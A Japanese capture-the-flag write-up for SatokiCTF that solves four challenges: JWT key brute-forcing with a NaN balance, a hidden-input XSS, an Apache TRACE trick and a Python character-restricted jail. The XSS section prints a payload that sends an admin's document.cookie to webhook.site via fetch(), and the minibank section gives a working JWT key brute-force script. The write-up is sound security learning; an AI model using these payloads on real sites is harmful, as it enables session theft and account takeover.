SatokiCTF writeup!

# はじめに

CTFなどでよく名前をお見掛けするSatokiさんの誕生日記念CTFがあるとのことで、楽しそうなので参加しました。8/26～27の開催で一週間経ってしまいましたが、**お誕生日おめでとうございます🎉**

webとmiscしか見られていないのですが、面白い問題ばかりで楽しかったです。
「レイドバトル」のなんでもありCTFということでYoutube配信をされている方がいたり、開催中に（マスクしつつも）ネタバレポストが投稿されていたりと、ルール的にも面白かったです。DiscordでROM専をしていましたが、コンセプト的にもっと書き込んだりすべきだったのかもしれない……

3人チームで参加しました。性質上順位にそこまで意味がないのかもしれませんが、4位になれました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/5dff6907-e721-3782-de65-0ec01323004d.png)

# [welcome] Welcome (1pt)

> SatokiCTFへようこそ。
趣味CTFなので作問ミスや公平性の欠如は大目に見てね😘
flag{l00k1n6_f0r_7h3_p3rf3c7_h4ck3r}

```
flag{l00k1n6_f0r_7h3_p3rf3c7_h4ck3r}
```

# [Web] minibank (100pts)

> 暗証番号が総当たりできる？ じゃあ、flagはどんな金額でも渡しません！
> 

お金を預ける&引き出すことができるwebサイト。pythonのflaskで書かれており、セッション管理にはJWTを使っている。このJWTが `{"balance": 1000}` のような形で預金データを持っている。
`balance`に対しては以下の処理が行われており、両方のif文をFalseで突破できるとflagを手に入れることができる。

```python: app.py
def determine_status(balance):
    status = FLAG
    if balance > 0:
        status = "rich"
    if balance <= 0:
        status = "poor"
    return f"You are a {status} person, aren't you?"
```

この問題は他の方が解いてくれていたのだが、自分もJWT生成の部分だけ取り組んだので書いておく。

ソースコードから`balance`に変な値を入れる必要がありそうなので、JWTの改ざんを考える。以下コードを見るに `KEY` の取りえる範囲が狭いのでブルートフォースができそう。

```python: app.py
# omg ;(
KEY = str(random.randint(1, 10**6))

def encode_jwt(balance):
    payload = {"balance": balance}
    return jwt.encode(payload, KEY, algorithm="HS256")
```

だが、手元で試してみても合うものが出てこない。

```python
import jwt
d = {"balance": 1000}
ans = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJiYWxhbmNlIjoxMDAwfQ.p0K5vNd1T4wlB8YxnoVPE6ZZ2qdLA-Z_5Rqbtpia-_Y" # 1000のとき
for i in range(10**6):
    token = jwt.encode(payload=d, key=str(i), algorithm="HS256")
    if i%100000 == 0: print(f"{i}: {token}")
    if token == ans:
        print(f"answer: {i}")
        break
```

何故……とサーバから返されるJWTとスクリプト生成のJWTを見比べたところ、同じ値になるはずのヘッダ部分が違っていることに気が付いた。ヘッダは `alg` と `typ` を持つjsonだが、この順番が逆になっていた。よく分からないが、 pyjwtのバージョンを問題と揃える（2.3.0）と同じ並びとなり、無事 `KEY` を見つけることができた。

```
$ python main.py
0: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJiYWxhbmNlIjoxMDAwfQ.F3TNMZcZpgR4g1rrcVKd3gYZV1Sx4tGpF76tq4bcVYQ
100000: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJiYWxhbmNlIjoxMDAwfQ.734TMTNSvMGivHi3pq96-ELNs5PKRqX3VRVQYrCOUGQ
200000: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJiYWxhbmNlIjoxMDAwfQ.BMHk4kQk3EUSsbysxpBBmEogphq7-SeBAjue1_YqfGM
300000: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJiYWxhbmNlIjoxMDAwfQ.Y1TQTPOqMDMk9RGGGMAh1_t2Auyly7ROQVXosbHsqU0
answer: 363068
```

肝心の `balance` をどんな値にするかはチームの方が見つけていた。 `NaN` にすると両方Falseとなるらしい。
JWTを生成して送信すると、無事flagを取得できた。

```
>>> jwt.encode(payload={"balance": float("nan")}, key="363068", algorithm="HS256")
'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJiYWxhbmNlIjpOYU59.00vcqFiKcILXkq2y2nA7FWkCG8JGeqCD5O83JXm5AR4'
```

```
[request]
GET / HTTP/1.1
Host: 160.251.237.162:4445
Cache-Control: max-age=0
Accept-Language: ja
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: account=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJiYWxhbmNlIjpOYU59.00vcqFiKcILXkq2y2nA7FWkCG8JGeqCD5O83JXm5AR4
Connection: keep-alive

[response]
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Sun, 25 Aug 2024 12:18:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2263
Connection: keep-alive

        <h2 class="text-lg mb-4" id="status">You are a flag{h4ndl3_j50n_w17h_c4u710n_r364rd1n6_1nf1n17y_4nd_n4n} person, aren&#39;t you?</h2>
```

```
flag{h4ndl3_j50n_w17h_c4u710n_r364rd1n6_1nf1n17y_4nd_n4n}
```

# [Web] Chahan (300pts)

> かっこいいハンドルネームができたら自慢しよう
> 

seed値を入力すると、いい感じの名前を返してくれるwebアプリ。Rubyのsinatraで作られており、レスポンスに反映されるパラメータとしては `seed` と `theme` がある。
また、 `/report` にURLを送信するとcookieにflagを持つadminがアクセスしに来るらしい。つまりXSSを探してadminに踏ませる必要がある。

トップページの `theme` のみエスケープが甘く、 `<>` は `&lt;&gt;` に変換されるが `"` は `\"` となる。

```ruby: app.rb
get '/' do
  @theme = sanitize_string(params['theme'] || 'light')
  headers 'Content-Type' => 'text/html'
  erb :index
end

def sanitize_string(s)
  s.gsub(/\\/){'\\\\'}
    .gsub(/"/){'\\"'}
    .gsub(/</){'&lt;'}
    .gsub(/>/){'&gt;'}
end
```

```html: index.erb
    <form action="/generate" method="get">
      <input type="number" name="seed" required>
      <input type="hidden" name="theme" value="<%= @theme %>">
      <button type="submit">Generate</button>
    </form>
```

つまり、例えば `/?theme="+id=1` とすれば `<input type="hidden" name="theme" value="\" id=1">` と出力され、 `value` 値から抜けることができる。ただしhiddenパラメータであるため画面に表示されておらず、よくあるイベントハンドラは発火しない。

ここまで考えたところで、少し前に見たツイートを思い出していた。これを使えということなのでは？

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">oncontentvisibilityautostatechange、名前が長いってだけで面白がってたけど、&lt;input type=&quot;hidden&quot; value=&quot;[XSS]&quot;&gt; で属性しかインジェクションできない場合にユーザーインタラクション無しでJS実行できる有用な属性だった。Chrome 128(Beta)から使える模様。 <a href="https://t.co/UzfbDxXkVD">https://t.co/UzfbDxXkVD</a></p>&mdash; Masato Kinugawa (@kinugawamasato) <a href="https://twitter.com/kinugawamasato/status/1816238314103660964?ref_src=twsrc%5Etfw">July 24, 2024</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

以下のURLにアクセスしたところ、 `alert()` が発火することも確認できた。

```
http://35.200.0.225/?theme=%22+oncontentvisibilityautostatechange=alert()+style=content-visibility:auto;

// " oncontentvisibilityautostatechange=alert() style=content-visibility:auto;
```

あとは `fetch()` でcookieの値を飛ばしてやればいい。

```
http://35.200.0.225/?theme=%22+oncontentvisibilityautostatechange=fetch('https://webhook.site/d484db12-ffad-479f-bfcc-4edd986c71c3?'%2bdocument.cookie)+style=content-visibility:auto;

// " oncontentvisibilityautostatechange=fetch('https://webhook.site/d484db12-ffad-479f-bfcc-4edd986c71c3?'+document.cookie) style=content-visibility:auto;
```

```
POST /report HTTP/1.1
Host: 35.200.0.225
Content-Type: application/x-www-form-urlencoded
Content-Length: 187

url=http://35.200.0.225/?theme=%22+oncontentvisibilityautostatechange=fetch('http://webhook.site/d484db12-ffad-479f-bfcc-4edd986c71c3?'%252bdocument.cookie)+style=content-visibility:auto;
```
webhoo.siteに届いたリクエスト↓
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/417dfd42-62d6-ed65-efaf-1cb1375d066d.png)


```
flag{K4ku5h14j1!}
```

ところでこの問題は2solveだったのだが、[もうひとりの方](https://zenn.dev/tchen/articles/7b5b35831d658a)と解法が違っていてとても驚いている。もしかして想定解ではない……？？？

# [Misc] HBD (100pts)

> Apache HTTP Serverにも誕生日を祝わせることでフラグが得られます。
> 

golangのリバースプロキシの後ろに（多分）素のApacheがいるような構成で、レスポンスに  `HBD!Satoki!` を含む場合にflagが降ってくる。
レスポンスに任意の文字列を出力するということで、TRACEメソッドを使った。

```: request
TRACE / HTTP/1.1
Host: 160.251.183.149:8848
Connection: keep-alive
Test: HBD!Satoki!
```

```: response
HTTP/1.1 200 OK
Content-Length: 28
Content-Type: message/http
Date: Sun, 25 Aug 2024 13:10:43 GMT
Server: Apache/2.4.62 (Unix)

flag{tanjobi_anata_8ae01c4e}
```

# [Misc] python8 (300pts)

> $ python8
> 

サーバに接続すると、インタラクティブモードのPythonっぽいものが出てくる。1997/8/26が誕生日なんだろうか。

```html
$ nc 160.251.183.149 3838
Python 8.26.1997 (main, Aug 26 2997, 00:00:00) [SatoCompiler 1.0.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
```

配布されているコードを見ると、次のことが分かる。

- `0'()%cex` の8文字しか使うことができない
- `/flag-$(md5sum /flag.txt | awk '{print $1}').txt` にflagが書かれている

要するにjsfuckのpython版みたいなことをさせる問題らしい。最終的に以下のコードを実行したい。

```python
import os;print(os.listdir('/'))  # ファイル名を特定する
print(open('/flag-31ac9361857cf0098f093447acbbd315.txt').read())  # flagを出力する
```

「pyfuck」などでググって同じようなことをしている人がいないか探してみたところ、まさに同じ文字種を使うコードを生成するスクリプトを発見した。

https://codegolf.stackexchange.com/a/250500

https://github.com/kuangkzh/PyFuck

git cloneし、最終的に以下を実行することで目当てのコードを変換することができた。なお、変換後は50万字くらいのクソデカコードができあがる。ちゃんと解いたらここまで長くはならないらしい。

```
from Compile import compile_bce0, compile_b_comma, compile_final

# encoded, args = compile_bce0("""import os;print(os.listdir('/'))""", "exc(%0)b")  # 最初に実行
encoded, args = compile_bce0("""print(open('/flag-31ac9361857cf0098f093447acbbd315.txt').read())""", "exc(%0)b")  # 次に実行
encoded = f"""exec("{encoded}"%{args})"""

encoded, args = compile_b_comma(encoded)
encoded = f"""exec('{encoded}'%{args})"""

encoded, args = compile_bce0(encoded)
encoded = f"""exec("{encoded}"%{args})"""

print(len(encoded))

encoded, args = compile_final(encoded)
encoded = f"""exec('''{encoded}'''{args})"""

print(len(encoded))

with open("output.txt", "w") as f:
    f.write(encoded)
```

クソデカすぎてコンソールから送信するのは困難なので、pwntoolsを使う。

```
from pwn import *

host = "160.251.183.149"
port = 3838

with open("output.txt", "r") as file:
    data = file.read().strip()
data = data.encode("utf-8")

# サーバに接続
conn = remote(host, port)

# 最初のレスポンスを表示
response = conn.recv(1024)
print(response.decode('utf-8'))

# データを送信
conn.sendline(data)

conn.interactive()

# 接続を閉じる
conn.close()

```

```
$ python nc.py  
[+] Opening connection to 160.251.183.149 on port 3838: Done
Python 8.26.1997 (main, Aug 26 2997, 00:00:00) [SatoCompiler 1.0.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 
[*] Switching to interactive mode
$ 
['app', 'var', 'home', 'sys', 'srv', 'usr', 'opt', 'mnt', 'bin', 'etc', 'media', 'dev', 'flag-31ac9361857cf0098f093447acbbd315.txt', 'proc', 'sbin', 'lib', 'lib64', 'root', 'boot', 'run', 'tmp']
>>> $ 
[*] Interrupted
[*] Closed connection to 160.251.183.149 port 3838

$ python create.py
1457
566288

$ python nc.py  
[+] Opening connection to 160.251.183.149 on port 3838: Done
Python 8.26.1997 (main, Aug 26 2997, 00:00:00) [SatoCompiler 1.0.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 
[*] Switching to interactive mode
$ 
flag{1_pr0b4bly_w0n7_b3_4l1v3_by_7h3_71m3_py7h0n_r34ch35_v3r510n_8}
>>> $ 
[*] Interrupted
[*] Closed connection to 160.251.183.149 port 3838
```

```
flag{1_pr0b4bly_w0n7_b3_4l1v3_by_7h3_71m3_py7h0n_r34ch35_v3r510n_8}
```